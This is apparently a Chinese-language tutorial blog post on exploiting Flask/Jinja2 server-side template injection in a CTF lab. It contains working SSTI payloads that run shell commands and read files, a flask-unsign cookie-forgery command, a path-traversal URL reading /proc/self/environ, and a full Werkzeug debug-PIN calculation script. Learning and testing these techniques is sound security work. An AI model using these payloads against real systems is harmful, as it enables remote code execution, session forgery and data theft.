Flask SSTI 利用方式探索
python 语言基础
在 python 中,object 类是 Python 中所有类的基类,如果定义一个类时没有指定继承哪个类,则默认继承 object 类。 每个类都有的魔术变量 __class__
,表示当前类。
print("".__class__)
每个类都有一个 __base__
属性,列出其基类:
列出所有基类: __bases__
列举类的调用顺序: __mro__
获取子类集合: ''.__class__.__mro__[1].__subclasses__()
接下来寻找可以执行命令的子类: os._wrap_close(133)
查找可使用的变量和方法: "".__class__.__mro__[1].__subclasses__()[133].__init__.__globals__
执行系统命令: "".__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['popen']('ls').read()
读取文件内容: "".__class__.__mro__[1].__subclasses__()[133].__init__.__globals__["__builtins__"]["open"]("flag.txt").read()
SSTI 简介 & 环境搭建
模板
一个统一风格的站点,其大多数页面样式都是一致的,只是每个页面显示的内容各不相同。要是所有的逻辑都放在前端进行,无疑会影响响应效果和效率,很不现实。把所有的逻辑放在后端,又会导致太过复杂,前轻后重
模板的诞生是为了将显示与数据分离,让前端工作人员专注表现设计,后台人员注重业务逻辑,同时简化代码的复杂程度。模板技术多种多样,但其本质是将模板文件和数据通过模板引擎生成最终的 HTML 代码。
Flask
使用 Jinja2
作为模板引擎, Jinja
的语法很简单,大致有这么几种:
{%...%} 语句 (Statements)
{{...}} 打印模板输出的表达式 (Expressions)
{{#...#}} 注释
#...## 行注释 (Line Statements)
SSTI
在 SSTI 漏洞点中,{{x}} 里面的内容会被执行。
SSTI,又称 服务端模板注入攻击
。jinja2 模板中使用 {}
语法表示一个变量,它是一种特殊的占位符。当利用 jinja2 进行渲染的时候,它会把这些特殊的占位符进行填充/替换。但是在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了 敏感信息泄露
、 代码执行
、 GetShell
等问题
环境搭建
测试环境搭建:Ubuntu + Docker
环境:
https://github.com/Tiaonmmn/pasecactf_2019_web_honey_shop
敏感信息泄露导致身份伪造
flask session 机制
通过 .
隔开的 3 段内容,第一段其实就是 base64encode 后的内容,但去掉了填充用的等号,若 decode 失败,自己需要补上 1-3 个等号补全。中间内容为时间戳,在 flask 中时间戳若超过 31 天则视为无效。最后一段则是安全签名,将 session data
, 时间戳
和 flask
的 secretkey
通过 sha1
运算的结果。
方法一
该应用在 /hello
下存在 SSTI
漏洞:
config
下泄露了 SECRET_KEY
:
使用 flask-unsign
工具(使用 pip
安装)伪造 Cookie:
flask-unsign --sign --cookie "{'balance': 6666}" --secret "7xrQRfVWmTHMRzwGXLhCQrECTqLndq1ODnvvDjKZ"
方法二
http://127.0.0.1:8345/download?image=1.jpg
存在任意文件下载漏洞,下载环境变量文件:
http://127.0.0.1:8345/download?image=../../../../../../../../../proc/self/environ
Flask PIN 码利用
Flask PIN 码
Flask Debug 应用在模式下提供的一种页面端的交互调试工具,和我们平时使用的 Python 命令行是一样的,也就是给我们提供了一个交互式的 web 端 shell。但是 PIN 码的生成规则是有规律可循的,使得获取 PIN 码成为可能,之后能够利用的方式有很多。
from itertools import chain
probably_public_bits = [
'root',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.8/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'345051575547'# str(uuid.getnode()), /sys/class/net/eth0/address
'613cacd3857f425e9409e544dece08da', # get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
脚本中 6 个参数的获取方法:
username
运行 flask 的用户,之前读取 /etc/passwd
获取
modname
一般默认即可
app name
一般默认即可
路径
debug 下报错
网络地址
读取: /sys/class/net/eth0/address
int("02:42:ac:13:00:02".replace(":", ""), 16)
机器码
读取: /etc/machine-id
或者 /proc/self/cgroup
执行脚本
SSTI 导致 RCE
代码执行
{%for i in range(10)%}
{%print(i)%}
{%endfor%}
python 魔法函数 + 内置函数
魔法函数
所谓魔法函数(Magic Methods),是 Python 的一种高级语法,允许你在类中自定义函数(函数名格式一般为 __x__
),并绑定到类的特殊方法中。比如在类 A 中自定义 __str__
函数,则在调用 str(A)
时,会自动调用 __str__
函数,并返回相应的结果。在我们平时的使用中,可能经常使用 __init__
函数和 __del__
函数,其实这也是魔法函数的一种。
内置函数
在 python 中输入 help(__builtins__)
,可以查看帮助,简单地说就是 Python 中自带的函数
http://127.0.0.1:8345/hello?name=\{\{%22%22.__class__.__base__.__subclasses__()[302].__init__.__globals__[%27os%27].popen(%22whoami%22).read()\}\}
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论